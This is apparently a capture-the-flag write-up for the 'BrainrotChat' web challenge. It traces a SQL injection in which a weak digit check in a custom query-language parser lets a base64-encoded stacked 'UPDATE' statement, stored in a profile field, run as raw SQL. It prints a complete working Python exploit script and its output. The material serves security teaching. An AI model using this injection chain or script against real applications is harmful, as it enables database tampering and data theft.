Category: Web Exploitation
Flag: CodeVinci{Tr4ll4ll3r0_Tr4ll4ll4_P*rc*d1o*_e_p0rCo_4**4*_changed_flag}
Challenge Description
average brainrot chat
Analysis
The archive immediately looked like a Next.js app with a custom query language, so I started by checking which backend files mattered for data flow into SQL.
unzip -l BrainrotChat.zipArchive: BrainrotChat.zip Length Date Time Name--------- ---------- ----- ---- 3145 02-04-2026 06:18 BrainrotChat (Copy)/app/api/messages/route.js 1964 02-04-2026 06:18 BrainrotChat (Copy)/app/api/brainrot/route.js 1482 02-04-2026 06:18 BrainrotChat (Copy)/app/api/settings/route.js 13886 02-04-2026 06:49 BrainrotChat (Copy)/lib/brainrotParser.js--------- ------- 93253 52 filesThat narrowed the path quickly: /api/settings writes a user-controlled base64 value to sfx under profile_<userid>, and /api/brainrot reads sfx and base64-decodes it when the tag starts with profile_. I verified the key lines directly.
rg -n "status|profile_|sfx|Buffer\.from\(|base64" "BrainrotChat (Copy)/app/api/settings/route.js" "BrainrotChat (Copy)/app/api/brainrot/route.js"BrainrotChat (Copy)/app/api/brainrot/route.js:19: const [sfxRows] = await pool.query("SELECT tag, payload FROM sfx");BrainrotChat (Copy)/app/api/brainrot/route.js:24: if (tag.startsWith("profile_")) {BrainrotChat (Copy)/app/api/brainrot/route.js:26: return Buffer.from(payload, "base64").toString("utf-8");BrainrotChat (Copy)/app/api/settings/route.js:10: const { displayName, bio, status } = await request.json();BrainrotChat (Copy)/app/api/settings/route.js:13: const cleanStatus = String(status || "").trim().slice(0, 1024);BrainrotChat (Copy)/app/api/settings/route.js:25: const macroTag = `profile_${user.id}`;BrainrotChat (Copy)/app/api/settings/route.js:27: "INSERT INTO sfx(tag, payload) VALUES (?, ?) ON DUPLICATE KEY UPDATE payload = VALUES(payload)",The real bug is in the BrainrotQL parser: cap and skip accept macro-expanded values, then only check whether the string contains any digit via /\d+/.test(value). That means 0;UPDATE ... passes validation and is returned as raw SQL fragment.
python show_parser_slice.py346: _parseLimit(rest) {347: if (!rest) throw new BrainrotParseError("cap needs a number");348: const value = this._expandMacros(rest.trim());349: if (!/\d+/.test(value)) {350: throw new BrainrotParseError("cap must contain a number.");351: }352: return value;353: }354:355: _parseOffset(rest) {356: if (!rest) throw new BrainrotParseError("skip needs a number");357: const value = this._expandMacros(rest.trim());358: if (!/\d+/.test(value)) {359: throw new BrainrotParseError("skip must contain a number.");360: }361: return value;362: }At that point the chain was clean: register a normal user, store base64 of 0;UPDATE users SET bio=(SELECT flag FROM flags LIMIT 1) WHERE id=<me> into status, trigger parsing with cap sfx(profile_<me>), then read my own bio back through BrainrotQL. It worked on first full run after wiring the script.

The funniest part is the parser check: it looks like validation, but it only requires one digit anywhere in the payload, so 0;... slides through effortlessly.

I used this exploit runner against the live instance and captured the flag from real API output.
python brainrotchat_exploit.pyregister: 200 {'ok': True, 'user': {'id': 503, 'handle': 'pwn_36pakmaf8a', 'display_name': 'pwner'}}id query: 200 {'ok': True, 'rows': [{'id': 503, 'handle': 'pwn_36pakmaf8a'}]}uid: 503settings: 200 {'ok': True, 'user': {'handle': 'pwn_36pakmaf8a', 'display_name': 'pwner', 'bio': '', 'status': 'MDtVUERBVEUgdXNlcnMgU0VUIGJpbz0oU0VMRUNUIGZsYWcgRlJPTSBmbGFncyBMSU1JVCAxKSBXSEVSRSBpZD01MDM='}}trigger: 200 {'ok': True, 'rows': []}read bio: 200 {'ok': True, 'rows': [{'bio': 'CodeVinci{Tr4ll4ll3r0_Tr4ll4ll4_P*rc*d1o*_e_p0rCo_4**4*_changed_flag}'}]}FLAG: CodeVinci{Tr4ll4ll3r0_Tr4ll4ll4_P*rc*d1o*_e_p0rCo_4**4*_changed_flag}Solution
import base64import randomimport reimport string
import requests
BASE = "https://brainrotchat.codevinci.it"
def rand_text(n=8): alpha = string.ascii_lowercase + string.digits return "".join(random.choice(alpha) for _ in range(n))
def post_json(session, path, data): r = session.post(f"{BASE}{path}", json=data, timeout=20) try: j = r.json() except Exception: j = {"raw": r.text} return r, j
def brainrot(session, query): r, j = post_json(session, "/api/brainrot", {"query": query}) return r, j
def main(): s = requests.Session()
handle = f"pwn_{rand_text(10)}" password = "pwnpass123"
r, j = post_json( s, "/api/auth/register", {"handle": handle, "password": password, "displayName": "pwner"}, ) print("register:", r.status_code, j) if r.status_code != 200 or not j.get("ok"): return
r, j = brainrot(s, f"summon users | spill id,handle | vibe handle is {handle}") print("id query:", r.status_code, j) if not j.get("ok") or not j.get("rows"): return
uid = int(j["rows"][0]["id"]) print("uid:", uid)
injected = f"0;UPDATE users SET bio=(SELECT flag FROM flags LIMIT 1) WHERE id={uid}" b64 = base64.b64encode(injected.encode()).decode()
r, j = post_json( s, "/api/settings", {"displayName": "pwner", "bio": "", "status": b64}, ) print("settings:", r.status_code, j) if r.status_code != 200 or not j.get("ok"): return
r, j = brainrot(s, f"summon users | spill id | cap sfx(profile_{uid})") print("trigger:", r.status_code, j)
r, j = brainrot(s, f"summon users | spill bio | vibe id is {uid}") print("read bio:", r.status_code, j) text = str(j) m = re.search(r"CodeVinci\{[^}]+\}", text) if m: print("FLAG:", m.group(0))
if __name__ == "__main__": main()python brainrotchat_exploit.pyFLAG: CodeVinci{Tr4ll4ll3r0_Tr4ll4ll4_P*rc*d1o*_e_p0rCo_4**4*_changed_flag}